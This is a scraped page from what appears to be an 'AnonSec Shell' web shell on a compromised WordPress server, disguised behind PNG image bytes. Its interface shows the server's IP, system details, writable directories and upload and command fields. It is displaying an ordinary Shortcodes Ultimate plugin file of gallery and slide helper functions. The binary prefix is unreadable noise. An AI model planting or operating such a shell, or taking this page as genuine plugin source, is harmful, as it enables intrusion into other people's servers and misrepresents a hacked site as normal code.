‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/shortcodes-ultimate/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/shortcodes-ultimate/includes/functions-galleries.php
<?php

/**
 * Helper function to get gallery slides.
 *
 * Example input:
 *
 * media: 1, 2, 3
 * media: recent
 * posts: 1, 2, 3
 * posts: recent
 * taxonomy: book/3, 5
 *
 * Example output:
 *
 * [
 *   [
 *     'attachment_id' => 1,
 *     'link'          => 'https://...',
 *     'caption'       => '...'
 *   ],
 *   ...
 * ]
 *
 * @since  5.4.0
 * @param  array $atts Shortcode atts.
 * @return array       Array with parsed data on success, False otherwise.
 */
function su_get_gallery_slides( $atts ) {

	$slides = array();
	$posts  = su_get_gallery_slides_posts( $atts );

	if ( ! is_array( $posts ) ) {
		return array();
	}

	foreach ( $posts as $post ) {

		$attachment_id = 'attachment' === $post->post_type
			? $post->ID
			: get_post_thumbnail_id( $post->ID );

		if ( ! su_is_positive_number( $attachment_id ) ) {
			continue;
		}

		$caption = 'attachment' === $post->post_type || 'yes' === $atts['prefer_caption']
			? wp_get_attachment_caption( $attachment_id )
			: get_the_title( $post->ID );

		$slide = array(
			'post_id'       => $post->ID,
			'attachment_id' => intval( $attachment_id ),
			'caption'       => trim( $caption ),
		);

		switch ( $atts['link'] ) {

			case 'image':
			case 'lightbox':
				$slide['link'] = wp_get_attachment_image_src( $attachment_id, 'full', false );
				$slide['link'] = $slide['link'][0];
				break;

			case 'custom':
				$slide['link'] = get_post_meta( $attachment_id, 'su_slide_link', true );
				break;

			case 'post':
				$slide['link'] = get_permalink( $post->ID );
				break;

			case 'attachment':
				$slide['link'] = get_attachment_link( $attachment_id );
				break;

			default:
				$slide['link'] = '';
				break;

		}

		$slides[] = $slide;

	}

	$slides = apply_filters( 'su/get_gallery_slides/slides', $slides, $atts );

	return $slides;

}

/**
 * Auxilary function to query posts to be used in a gallery.
 *
 * @since 5.8.2
 * @param  array $atts Shortcode atts.
 * @return WP_Query    WP_Query instance.
 */
function su_get_gallery_slides_posts( $atts ) {

	$source = su_parse_images_source( $atts['source'] );

	if ( ! $source ) {
		return false;
	}

	if ( 'media' === $source['type'] ) {

		$query['post_mime_type'] = 'image/jpeg,image/gif,image/jpg,image/png,image/webp';
		$query['post_type']      = 'attachment';
		$query['post_status']    = 'any';

		if ( 'recent' === $source['ids'] ) {
			$query['posts_per_page'] = $atts['limit'];
		}

		if ( 'recent' !== $source['ids'] ) {

			$query['posts_per_page'] = -1;
			$query['post__in']       = $source['ids'];
			$query['orderby']        = 'post__in';

		}

	}

	if ( 'posts' === $source['type'] ) {

		$query['post_type'] = 'any';
		$query['meta_key']  = '_thumbnail_id';

		if ( 'recent' === $source['ids'] ) {
			$query['posts_per_page'] = $atts['limit'];
		}

		if ( is_array( $source['ids'] ) ) {

			$query['ignore_sticky_posts'] = true;
			$query['posts_per_page']      = count( $source['ids'] );
			$query['post__in']            = $source['ids'];
			$query['orderby']             = 'post__in';

		}

	}

	if ( 'taxonomy' === $source['type'] ) {

		if ( ! $source['tax'] ) {
			return array();
		}

		$query['tax_query']      = array(
			array(
				'taxonomy' => $source['tax'],
				'terms'    => $source['ids'],
				'field'    => 'id',
			),
		);
		$query['post_type']      = 'any';
		$query['posts_per_page'] = $atts['limit'];
		$query['meta_key']       = '_thumbnail_id';

		if ( su_is_media_taxonomy( $source['tax'] ) ) {

			$query['post_mime_type'] = 'image/jpeg,image/gif,image/jpg,image/png,image/webp';
			$query['post_type']      = 'attachment';
			$query['post_status']    = 'any';
			$query['meta_key']       = null;

		}

	}

	if ( 'yes' === $atts['random'] ) {
		$query['orderby']             = 'rand';
		$query['ignore_sticky_posts'] = true;
	}

	$query = apply_filters( 'su/get_gallery_slides_query', $query, $source, $atts );
	$query = new WP_Query( $query );

	return isset( $query->posts ) ? $query->posts : array();

}

/**
 * Helper function to parse image source strings.
 *
 * Input:
 *
 * media: 1, 2, 3
 * media: recent
 * posts: 1, 2, 3
 * posts: recent
 * taxonomy: book/3, 5
 *
 * Output:
 *
 * [
 *   'type' => 'taxonomy',
 *   'tax'  => 'book',
 *   'ids'  => [ 1, 2, 3 ]
 * ]
 *
 * @since  5.4.0
 * @param  string     $source Images source string.
 * @return array|bool         Array with parsed data on success, False otherwise.
 */
function su_parse_images_source( $source ) {

	$source = str_replace( ' ', '', $source );
	$source = strtolower( $source );

	/**
	 * $match - result of preg_match
	 *  - 1: pattern match the subject
	 *  - 0: pattern does not match the subject
	 *  - False: error occurred
	 *
	 * $source[1] - image source (e.g. media, posts)
	 * $source[2] - taxonomy name (e.g. book)
	 * $source[3] - post/term IDs (e.g. 1,2,3, recent)
	 */
	$match = preg_match(
		'/^(media|posts|taxonomy):(?:([a-zA-Z0-9-_]*)\/)*((?:\d+,)*\d+|recent)/',
		$source,
		$source
	);

	if ( 1 !== $match ) {
		return false;
	}

	if ( 'recent' !== $source[3] ) {
		$source[3] = explode( ',', $source[3] );
	}

	return array(
		'type' => $source[1],
		'tax'  => $source[2],
		'ids'  => $source[3],
	);

}

/**
 * Helper function to get array with available intermediate image sizes.
 *
 * @since 5.4.0
 * @return array Array with available image sizes.
 */
function su_get_image_sizes() {

	$sizes = array(
		'full' => __( 'Original image size', 'shortcodes-ultimate' ),
	);

	foreach ( get_intermediate_image_sizes() as $size ) {
		$sizes[ $size ] = ucfirst( $size );
	}

	return $sizes;

}

/**
 * Helper function to determine if a given taxonomy is attached to the 'attachment' post type
 *
 * @since 5.8.2
 * @param  string $taxonomy Taxonomy to check
 * @return bool             True if a given taxonomy is a media category, False otherwise
 */
function su_is_media_taxonomy( $taxonomy ) {

	$taxonomy = get_taxonomy( $taxonomy );

	return isset( $taxonomy->object_type ) && in_array( 'attachment', $taxonomy->object_type, true );

}

/**
 * Adds 'Slide Link' field at attachment page.
 *
 * @since  5.0.5
 */
function su_slide_link_input( $form_fields, $post ) {

	$form_fields['su_slide_link'] = array(
		'label' => __( 'Slide link', 'shortcodes-ultimate' ),
		'input' => 'text',
		'value' => get_post_meta( $post->ID, 'su_slide_link', true ),
		'helps' => sprintf(
			'<strong>%s</strong><br>%s',
			__( 'Shortcodes Ultimate', 'shortcodes-ultimate' ),
			__( 'Use this field to add custom links to slides used with Slider, Carousel and Custom Gallery shortcodes', 'shortcodes-ultimate' )
		),
	);

	return $form_fields;

}

/**
 * Saves 'Slide Link' field.
 *
 * @since  5.0.5
 */
function su_slide_link_save( $post, $attachment ) {

	if ( isset( $attachment['su_slide_link'] ) ) {
		update_post_meta( $post['ID'], 'su_slide_link', $attachment['su_slide_link'] );
	}

	return $post;

}

/**
 * Get slides data.
 *
 * @since  5.0.5
 * @param array   $args Query args.
 * @return array        Slides collection.
 */
function su_get_slides( $args ) {

	$args = wp_parse_args(
		$args,
		array(
			'source'  => 'none',
			'limit'   => 20,
			'gallery' => null,
			'type'    => '',
			'link'    => 'none',
		)
	);

	if (
		null !== $args['gallery'] ||
		( 'none' === $args['source'] && get_option( 'su_option_galleries-432' ) )
	) {
		return su_get_slides_432( $args );
	}

	$slides = array();

	foreach ( array( 'media', 'posts', 'category', 'taxonomy' ) as $type ) {

		if ( strpos( trim( $args['source'] ), $type . ':' ) === 0 ) {
			$args['source'] = array(
				'type' => $type,
				'val'  => (string) trim( str_replace( array( $type . ':', ' ' ), '', $args['source'] ), ',' ),
			);
			break;
		}

	}

	if ( ! is_array( $args['source'] ) ) {
		return $slides;
	}

	$query = array( 'posts_per_page' => $args['limit'] );

	if ( 'media' === $args['source']['type'] ) {

		$query['post_type']   = 'attachment';
		$query['post_status'] = 'any';
		$query['post__in']    = (array) explode( ',', $args['source']['val'] );
		$query['orderby']     = 'post__in';

	}

	// Source: posts
	if ( 'posts' === $args['source']['type'] ) {

		if ( 'recent' !== $args['source']['val'] ) {

			$query['post__in']  = (array) explode( ',', $args['source']['val'] );
			$query['orderby']   = 'post__in';
			$query['post_type'] = 'any';

		}

	} elseif ( 'category' === $args['source']['type'] ) {
		$query['category__in'] = (array) explode( ',', $args['source']['val'] );
	} elseif ( 'taxonomy' === $args['source']['type'] ) {

		$args['source']['val'] = explode( '/', $args['source']['val'] );

		if (
			! is_array( $args['source']['val'] ) ||
			count( $args['source']['val'] ) !== 2
		) {
			return $slides;
		}

		$query['tax_query'] = array(
			array(
				'taxonomy' => $args['source']['val'][0],
				'field'    => 'id',
				'terms'    => (array) explode( ',', $args['source']['val'][1] ),
			),
		);
		$query['post_type'] = 'any';

		if ( su_is_media_taxonomy( $args['source']['val'][0] ) ) {

			$query['post_type']   = 'attachment';
			$query['post_status'] = 'any';
			$query['meta_key']    = null;

		}

	}

	$query = apply_filters( 'su/slides_query', $query, $args );
	$query = new WP_Query( $query );

	if ( is_array( $query->posts ) ) {

		foreach ( $query->posts as $post ) {

			$thumb = 'media' === $args['source']['type'] || 'attachment' === $post->post_type
				? $post->ID
				: get_post_thumbnail_id( $post->ID );

			if ( ! su_is_positive_number( $thumb ) ) {
				continue;
			}

			$slide = array(
				'image' => wp_get_attachment_url( $thumb ),
				'link'  => '',
				'title' => get_the_title( $post->ID ),
			);

			if ( 'image' === $args['link'] || 'lightbox' === $args['link'] ) {
				$slide['link'] = $slide['image'];
			} elseif ( 'custom' === $args['link'] ) {
				$slide['link'] = get_post_meta( $thumb, 'su_slide_link', true );
			} elseif ( 'post' === $args['link'] ) {
				$slide['link'] = get_permalink( $post->ID );
			} elseif ( 'attachment' === $args['link'] ) {
				$slide['link'] = get_attachment_link( $thumb );
			}

			$slides[] = $slide;

		}

	}

	return $slides;

}

/**
 * Get slides data.
 *
 * Deprecated since 4.3.2.
 *
 * @since  5.0.5
 * @param array   $args Query args.
 * @return array       Slides collection.
 */
function su_get_slides_432( $args ) {

	$args = wp_parse_args(
		$args,
		array(
			'gallery' => 1,
		)
	);

	$slides = array();

	$args['gallery'] = null === $args['gallery']
		? 0
		: $args['gallery'] - 1;

	$galleries = get_option( 'su_option_galleries-432' );

	if ( ! is_array( $galleries ) ) {
		return $slides;
	}

	if ( isset( $galleries[ $args['gallery'] ] ) ) {
		$slides = $galleries[ $args['gallery'] ]['items'];
	}

	return $slides;

}

Anon7 - 2022
AnonSec Team